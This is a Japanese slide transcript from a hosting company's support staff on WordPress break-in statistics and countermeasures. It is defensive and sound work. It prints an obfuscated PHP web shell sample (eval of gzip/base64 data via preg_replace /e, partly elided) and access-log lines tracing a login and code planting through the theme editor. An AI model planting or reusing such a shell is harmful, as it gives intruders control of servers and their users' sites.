wordpress 不正アクセス事例の傾向と対策
TRANSCRIPT
自己紹介
さくらインターネット
カスタマーサポート部所属 森下 稔 と申します。
2000年入社で、専用サーバの構築やサポートなどを長らくやってましたが、ここ最近は共用サーバの不正利用に関する調査と対応をやってます。
趣味は自転車で、社内の自転車サークルの代表だったりもします。 # さくらインターネットには、公認の社内サークル制度があるのです。
# http://knowledge.sakura.ad.jp/etc/1297/
カスタマーサポート部とは
その名の通り、サポセンです。
主に、電話・電子メールの窓口で、既存ユーザや新規利用の検討者からの、サービス仕様や料金や利用方法など、お問い合わせやご相談への対応をする部門です。
twitter サポートなども開始してます。
@sakura_ope # 中の人は可愛いおねえさんだよ!!!
# 電話がつながりにくい時やちょっとした問い合わせ
# やご要望など、お気軽に声をかけてください。
不正利用とサポセン ~風が吹いたら桶屋的な厄介~
共用サーバのユーザが不正アクセス被害にあう
↓
迷惑メール送信やDDoS攻撃の踏み台にされる
↓
サーバのIPアドレスがブラックリスト登録される
↓
同じサーバの同居ユーザからの苦情や相談に発展
↓
調査担当者の身に降りかかる厄介
不正利用とサポセン どれぐらい不正利用されてるか
ここ一年間でサーバ約2000台の不正利用の調査や対応をしており、うちWordPressの不正アクセスに起因した事例は、250件ぐらいでした。 # 残りはメールアドレスのパスワードを破られたことによる不正なメール送信
# がほとんどで、FTP, SSH パスワードを悪用されたケースもたまにあります。
「割合として WordPress の被害は少なめ?」と思われるかもしれませんが、これは2014年3月に国外IPアドレスフィルタを導入して、大幅に被害が減った結果と思われます。(後述)
不正アクセスにより、どのように悪用されるのか
ブラックリスト登録されたサーバを調べてみると、不自然に多数の国外ホストから、ものすごい回数のアクセスを受けたファイルが見つかったりします。
確認のため、ファイルの内容を確認すると……。
不正アクセスにより、どのように悪用されるのか
なんだよこれ……。 (‘A`)
<?php
$auth_pass = "b5b55ece3c56"."97e8893189b7ef30f127";
$color = "#df5";
$default_charset = 'Windows-1251';
extract(array("default_action" => 'FilesMan', 'default_use_ajax' => true));
$BB = "¥x65¥x76¥x61"."¥x6C¥x28¥x67¥x7A¥x69"."¥x6E¥x66¥x6C¥x61¥x74¥x65¥x28"."¥x62¥x61¥x73¥x65¥x36¥x34"."¥x5F¥x64¥x65¥x63¥x6F"."¥x64¥x65¥x28'7XZZZ1re9s2z/DZZZn9VcwmjfZq+PYTtu7s2MnaZZZQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XZZZO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXZZZbHCtPQCbYHzjgKWYtZQWDZZZdFo3XZZZvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaZZZLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXZZZoWDZZZ0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXZZZYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDZZZwEqyYPUDZZZuWHZrmq5Yysm45z49jTyPXZZZHncgdOQICcumz47kjNyrGaZZZSNr4NqdP6d+5ISdYDZZZpGGJ7bc/ruGNr96fS4A607PTg+gsaZZZaZZZ9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaZZZaZZZ4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOaZZZyJS2dgaZZZ8aZZZ+2mh1OuzA87Nrypk7LbLfN9sYaZZZYoY/UGXZZZb0AlDZZZ8p3I9v0rIKpwBd1zTZNDZZZtOKicPUNGlm4brIMGOJxk+lmTaZZZNhB6mh8YMMN0R+4n!
中略 72zOq73MVJlq1lUgHw1pbrMeL46k/+UG9aZZZx73J8pjWZeaZZZs7fZnUxMHsSEHFrnvMqDZZZb7qSIxDZZZMSzK8R+fyNZilaZZZ+GQXZZZUycwPuWKNPwLYsP6NXZZZL5j6jgShibdJ6bXZZZ39PykdTHYDZZZfiIfV3hM42zZOO72pMZsWaZZZq5sMWtii2O5bZT+GDZZZNb6nwtlVumZPABid774/P9jrbu7sneHg2oA/+i/0mjqKZ28A4WEbiaZZZoKmG+VCRJLMTDZZZHh6FMQWOYHkJJ555Jkw2kSLlSGPJ2VlFixs/KW9nZkEWpRI5rOhIdpXZZZpAGZFW6MOwXZZZjbVoNFnrTioTzyiruwUKJhh3pMV4NA8DZZZx4wl0Cyt6mG19lrPuV5DZZZhqFIbuxnlGpDZZZz3EmxVoi1OsCGtaZZZRhAwxJiGzpjfsbzYInAnjZNHTNyijGWilQkElVKpLzXZZZmttNOttEUrNXZZZlrUUPt3IYaZZZ2mtI/52W24tbbsctf6QUerITh/tLvQsBHGol75kaZZZU/LwwYP4ZDZZZjp0FcRY6XZZZhl3hvUOaZZZKT8rGB4XZZZV7E+nxx2YoqcHx0eQG1p9ZwTMSllb7thFV5WiicmdET3qyuIYbU4Agjc9lmCpzzk5MCOz70Hc58T0t3hQDZZZOXZZZ2hQeV7fCeoLNq9ulb+iR9aZZZwo80ZtZXZZZK2r56dUYJbQgDZZZn2wbjvy2c5cgh8gAi9LbaZZZFz7lC13SwzDZZZxAYT72vwA='¥x29¥x29¥x29¥x3B";
$AA = str_replace("ZZZ", "", $BB);
$CC = "/.*/e";
preg_replace($CC,$AA,".");
?>
不正アクセスにより、どのように悪用されるのか
ファイルマネージャプログラムを置かれて好き勝手にファイルを置かれたり
電子メールを大量送信するプログラムを置かれたり
ネットワーク攻撃用のプログラムを置かれたり
アダルトサイトや薬品販売サイトにリダイレクトするコンテンツを置かれたり
シェルプログラムを置かれたり
いろいろ悪さされます。
多い時には、千単位のファイルが設置されてます。
WordPress に対する不正アクセスの傾向
直近一年の WordPress への不正アクセス:およそ250件
不正ログイン 約210件
プラグインやテーマの脆弱性 約40件
さくらインターネットで発見される WordPress に対する
不正アクセスのうち、8割 がたは WordPress 管理画面への不正ログインが原因となっている。 # クライアントPCのウイルス感染などによる WordPress のファイル改竄は、
# その数に含めていません。
WordPress への不正なログイン
ログを調べると、だいたいこんな感じです。
wp-login.php からログインして、wp-admin/theme-editor.php を使ってサーバ上に不正プログラムを設置しているように見える。
/wp-login.php ATTACKER.HOST - - [DATE] "POST /wp-login.php HTTP/1.1" 302 - "-" "USER AGENT" -
/wp-admin/index.php ATTACKER.HOST - - [DATE] "GET /wp-admin/ HTTP/1.1" 200 149454 "-" "USER AGENT" -
/wp-admin/theme-editor.php ATTACKER.HOST - - [DATE] "GET /wp-admin/theme-editor.php HTTP/1.1" 200 120407 "-" "USER AGENT" -
/wp-admin/theme-editor.php ATTACKER.HOST - - [DATE] "GET /wp-admin/theme-editor.php?file=functions.php&theme=toranj-child HTTP/1.1" 200 135935 "-" "USER AGENT" -
/wp-admin/theme-editor.php ATTACKER.HOST - - [DATE] "POST /wp-admin/theme-editor.php HTTP/1.1" 302 - "-" "USER AGENT" -
/theme-editor.php ATTACKER.HOST - - [DATE] "GET /theme-editor.php?file=functions.php&theme=THM&scrollto=0&updated=true HTTP/1.1" 200 15800 "-" "USER AGENT" -
/wp-content/themes/THM/functions.php ATTACKER.HOST - - [DATE] "POST /wp-content/themes/THM/functions.php HTTP/1.1" 200 43 "-" "USER AGENT" -
/wp-content/themes/THM/phpini.php ATTACKER.HOST - - [DATE] "GET /wp-content/themes/THM/phpini.php HTTP/1.1" 200 120 "-" "USER AGENT" -
不正なログイン
安易なパスワードを設定していて辞書攻撃で破られたのか、あるいはクライアントがスパイウェアやウイルスに感染してパスワードを盗まれたか、原因まではわかりません。
でもとにかく、ログインされて悪用されたようだということがログ記録からうかがえました。
でも、そう簡単に第三者にパスワードを把握されてしまうのでしょうか……。
WordPress のパスワードは狙われている
WordPress には、不正なログインを試みた不審なアクセスが日々多数あります。
wp-login.php へのアクセス(ログインの試行)と、wp-admin/index.php へのアクセス(実際にログインされたもの)がどんな割合か気になりました。
実際に不正アクセス被害を受けたあるアカウントについて、直前一週間の状況を調べてみました。
WordPress のパスワードは狙われている
不正アクセス被害アカウントのアクセス数比較
(wp-login.php, wp-admin/index.php) -rw-r--r-- 1 root cpanel 11888193 Jan 31 00:00 /LOGDIR/access_log.20150130.gz
wp-login.php: 146
wp-admin/index.php 0
--rw-r--r-- 1 root cpanel 12650221 Feb 1 00:00 /LOGDIR/access_log.20150131.gz
wp-login.php: 0
wp-admin/index.php 0
-rw-r--r-- 1 root cpanel 12055832 Feb 2 00:00 /LOGDIR/access_log.20150201.gz
wp-login.php: 0
wp-admin/index.php 0
-rw-r--r-- 1 root cpanel 12036449 Feb 3 00:00 /LOGDIR/access_log.20150202.gz
wp-login.php: 97
wp-admin/index.php 0
-rw-r--r-- 1 root cpanel 11828245 Feb 4 00:00 /LOGDIR/access_log.20150203.gz
wp-login.php: 0
wp-admin/index.php 0
-rw-r--r-- 1 root cpanel 12295251 Feb 5 00:00 /LOGDIR/access_log.20150204.gz
wp-login.php: 33
wp-admin/index.php 2
-rw-r--r-- 1 root cpanel 11274482 Feb 6 00:00 /LOGDIR/access_log.20150205.gz
wp-login.php: 1306
wp-admin/index.php 2
WordPress のパスワードは狙われている
正規のユーザではない第三者からのログイン試行と推測されるアクセスが日に数百~数千みられます。
WordPress を運用されている方は、一度アクセスログを確認してみてください。
あなたの WordPress のパスワード、十分に安全な文字列を設定してますか?
不正アクセスの接続元のIPアドレス
百件以上の被害事例を調査した中で、不正アクセスの接続元はほぼすべてが国外IPアドレスで、国内IPアドレスからの不正アクセスは滅多にないということが確認されました。
ということは、事業者側での対策も不可能ではなさそうだ……ということで。
国外IPアドレスフィルタについて
さくらインターネットでは、2014年3月に
国外IPアドレスフィルタ 機能
を実装しました。 http://www.sakura.ad.jp/news/sakurainfo/newsentry.php?id=870
http://support.sakura.ad.jp/manual/rs/others/ipfilter.html
これは、wp-login.php や wp-admin/ 配下などに対して機能し、既存ユーザについても、標準でフィルタ:有効としていました。 # FTP, SSH 接続などに対しても機能します。
国外IPアドレスフィルタの無効化状況
国外IPアドレスフィルタを無効化しているユーザ数は、およそ 20%未満 です。
それでも、この一年に200件以上、WordPressへの不正ログイン被害を確認したということは、国外IPアドレスフィルタを実装してなかったなら、不正ログインによる被害は1000件以上発生していた可能性がある、
と言い換えることがでるのではないでしょうか。
もし、国外IPアドレスフィルタがなかったら……
WordPressへの不正アクセス:1000件以上になってたかも
不正ログイン 約1000件
プラグインやテーマの脆弱性 約40件
もしも、国外IPアドレスフィルタを実装していなかったら、さくらインターネットで発見される WordPress に対する
不正アクセスのうち、95%以上は管理画面への不正ログインが原因となっていた……かもしれない。
不正ログイン以外の不正アクセス
話を戻します。
さくらインターネットで観測したWordPressへの不正アクセスのうち、約8割が不正なログインによるもので、残りはプラグインやテーマの脆弱性に起因するものでした。
その脆弱性は、プラグインやテーマ自体が持つこともあれば、それらが利用するライブラリが脆弱だったりマルウェアに汚染されていたりします。
プラグインやテーマの脆弱性 被害事例
プラグインやテーマの脆弱性を悪用されるケースもちょくちょくある。 WP-SlimStat-Ex (アクセス解析プラグイン?)
→ 15件ぐらい
Slider Revolution (スライドショープラグイン?)
→ 5件ぐらい
phpthumb.php, timthumb.php, thumb.php
→ 5件ぐらい
CryptoPHP http://news.mynavi.jp/news/2014/11/25/190/
→ 10件ぐらい
Themify [themify-ajax.php] (テーマ?)
→ 10件ぐらい
WordPress への不正アクセスの傾向
まとめます。
WordPressの不正アクセス被害の大半は、管理画面にログインされたことによる不正操作
割合としては少ないが、プラグインやテーマの脆弱性を悪用されるケースもある
不正アクセスの接続元は国外IPアドレスからがほとんどである
不正アクセスの傾向から考える対策
管理画面へのアクセス制限は非常に効果的 さくらのレンタルサーバなら、コントロールパネルから簡
単に設定できます。
安易なパスワードは設定しない ユーザ名も標準の admin から変更した方が良い。
大文字・小文字混在の予測されにくい8文字以上の文字列が好ましく、記号を混ぜると飛躍的に強度が高まるという話もあります。
WordPress本体,プラグイン,テーマなどのアップデートをまめに実施する
不正アクセスの傾向から考える対策
今回のようなイベントに参加されるような方からすると、あまりにも当たり前すぎる結論になってしまいましたが、数百件の被害事例を観測した上でも、やっぱりこのような結論に至りました。
ユーザは不正アクセスをどのように察知できるか
サービス事業者側は、サーバが迷惑メール送信やネットワーク攻撃などに不正利用されると外部や収容ユーザからの苦情が来るので、何もしなくても気付くかもしれません。 # メール送信数や負荷を監視をしており、そこから大体察知してますが。
サーバを利用するユーザ自身が、不正なログインやファイル設置をこっそりされたとき、その兆候に気付くことはできるでしょうか。
不正アクセスの予防と発見 ~エラーメールから~
不正アクセスされるとフィッシングやspamなどのメールが大量送信されますので(多いと1日数万通)、相応のエラーメールが発生する場合がある。
エラーメールを確認しましょう。
さくらのレンタルサーバでは ウェブプログラム経由で送信された電子メールに対するエラーメールなどは、 postmaster@割り当てサブドメイン というアドレス(標準で存在し削除不可)に配送されます。
不正アクセスの予防と発見 ~ファイルの更新から~
多くの場合、不正アクセスを受けると勝手にファイルが設置されたり更新されます。
ファイルの更新や作成のレポートを定期的に出すことで、不正アクセスに気付けるかもしれません。
さくらのレンタルサーバでは ライトより上位のプラン であれば、cron 機能を 使うことができます。
不正アクセスの予防と発見 ~ファイルの更新から~
登録するなら、たとえばこんな感じのコマンド。
一週間以内に作成・更新された .php ファイルを探して、メール送信するコマンドです。
こんな感じのコマンドを週一回ぐらいで実行すれば、心当たりの無いファイルの設置や更新を発見できるかもしれません。
find /home/ACCT/www –type f –mtime -7d –name ‘*.php’ |
mail –s ‘modified file report’ addr@yourdomain
不正アクセスの予防と発見 ~アクセスログから~
アクセスログを定期的にチェックするのも大切。
中東や北欧など国外ホストから不自然なアクセスの急増や、特定ファイルへの過度のアクセス集中に要注意。
さくらのレンタルサーバでは コントロールパネルから ログの保存設定やアクセス 解析が可能です。
もしも、不正アクセスされたら、どうすればいいか
Exploit Scanner プラグインなどでコアファイルの改竄チェックもできるのですが、多い場合は、不正なファイルが千単位の数で設置され、ユーザがそのすべてを発見して削除することは困難だと考えます。
https://wordpress.org/plugins/exploit-scanner/
サーバ公開領域上のデータをすべて削除した上で、WordPress の再インストールを行うことが好ましいです。 そのためには、データのエクスポートをたまにしておく必要がありますね。